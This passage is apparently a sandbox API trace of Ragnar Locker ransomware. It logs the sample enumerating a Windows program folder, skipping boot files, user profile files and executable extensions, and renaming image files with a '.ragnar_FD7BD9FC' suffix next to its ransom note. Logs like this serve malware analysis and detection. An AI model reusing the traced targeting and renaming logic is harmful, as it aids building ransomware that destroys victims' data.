lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.059] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fda64d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fda64d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.059] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.059] lstrcpyW (in: lpString1=0x1eab56, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0079.059] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned=".png" [0079.059] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.059] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0079.059] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0079.060] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0079.060] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0079.060] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0079.060] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0079.060] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0079.060] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0079.060] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0079.060] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntldr") returned -1 [0079.060] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0079.060] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0079.060] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0079.060] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0079.060] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.060] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.060] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.060] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.060] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.060] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.060] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png")) returned 0x20 [0079.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.060] CloseHandle (hObject=0xffffffff) returned 0 [0079.060] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" [0079.060] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.061] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.061] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd340bb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd340bb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.061] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.061] lstrcpyW (in: lpString1=0x1eab56, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0079.061] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned=".png" [0079.061] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.061] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0079.061] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0079.061] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0079.061] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0079.061] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0079.061] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0079.061] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0079.061] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0079.061] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0079.061] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0079.061] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0079.061] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0079.061] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0079.061] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0079.061] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.061] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.061] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.061] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.061] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.061] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.061] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png")) returned 0x20 [0079.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.062] CloseHandle (hObject=0xffffffff) returned 0 [0079.062] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" [0079.062] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.062] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.062] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d31329f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.062] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.062] lstrcpyW (in: lpString1=0x1eab56, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0079.062] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned=".png" [0079.062] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.062] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0079.062] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0079.062] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0079.062] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0079.062] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0079.062] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0079.062] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0079.062] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0079.062] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0079.062] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntldr") returned -1 [0079.062] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0079.062] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0079.062] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0079.062] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0079.063] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.063] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.063] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.063] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.063] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.063] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.063] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png")) returned 0x20 [0079.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.063] CloseHandle (hObject=0xffffffff) returned 0 [0079.063] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" [0079.063] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.063] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.063] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd5a218, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd5a218, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.063] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.063] lstrcpyW (in: lpString1=0x1eab56, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0079.063] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned=".png" [0079.063] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.063] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0079.063] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0079.063] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0079.063] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0079.064] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0079.064] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0079.064] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0079.064] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0079.064] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0079.064] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0079.064] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0079.064] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0079.064] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0079.064] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0079.064] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.064] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.064] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.064] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.064] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.064] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.064] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png")) returned 0x20 [0079.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.064] CloseHandle (hObject=0xffffffff) returned 0 [0079.064] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" [0079.064] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.064] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.065] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x815b7560, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x815b7560, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.065] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.065] lstrcpyW (in: lpString1=0x1eab56, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0079.065] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.065] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0079.065] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc9bb47, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc9bb47, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d3393fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vintage.png", cAlternateFileName="")) returned 1 [0079.065] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.065] lstrcpyW (in: lpString1=0x1eab56, lpString2="vintage.png" | out: lpString1="vintage.png") returned="vintage.png" [0079.065] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png") returned=".png" [0079.065] lstrcmpiW (lpString1="vintage.png", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0079.065] lstrcmpiW (lpString1="vintage.png", lpString2="autorun.inf") returned 1 [0079.065] lstrcmpiW (lpString1="vintage.png", lpString2="boot.ini") returned 1 [0079.065] lstrcmpiW (lpString1="vintage.png", lpString2="bootfont.bin") returned 1 [0079.065] lstrcmpiW (lpString1="vintage.png", lpString2="bootsect.bak") returned 1 [0079.065] lstrcmpiW (lpString1="vintage.png", lpString2="bootmgr") returned 1 [0079.065] lstrcmpiW (lpString1="vintage.png", lpString2="bootmgr.efi") returned 1 [0079.065] lstrcmpiW (lpString1="vintage.png", lpString2="bootmgfw.efi") returned 1 [0079.065] lstrcmpiW (lpString1="vintage.png", lpString2="desktop.ini") returned 1 [0079.065] lstrcmpiW (lpString1="vintage.png", lpString2="iconcache.db") returned 1 [0079.065] lstrcmpiW (lpString1="vintage.png", lpString2="ntldr") returned 1 [0079.065] lstrcmpiW (lpString1="vintage.png", lpString2="ntuser.dat") returned 1 [0079.065] lstrcmpiW (lpString1="vintage.png", lpString2="ntuser.dat.log") returned 1 [0079.065] lstrcmpiW (lpString1="vintage.png", lpString2="ntuser.ini") returned 1 [0079.065] lstrcmpiW (lpString1="vintage.png", lpString2="thumbs.db") returned 1 [0079.065] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.066] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.066] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.066] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.066] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.066] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.066] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png")) returned 0x20 [0079.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 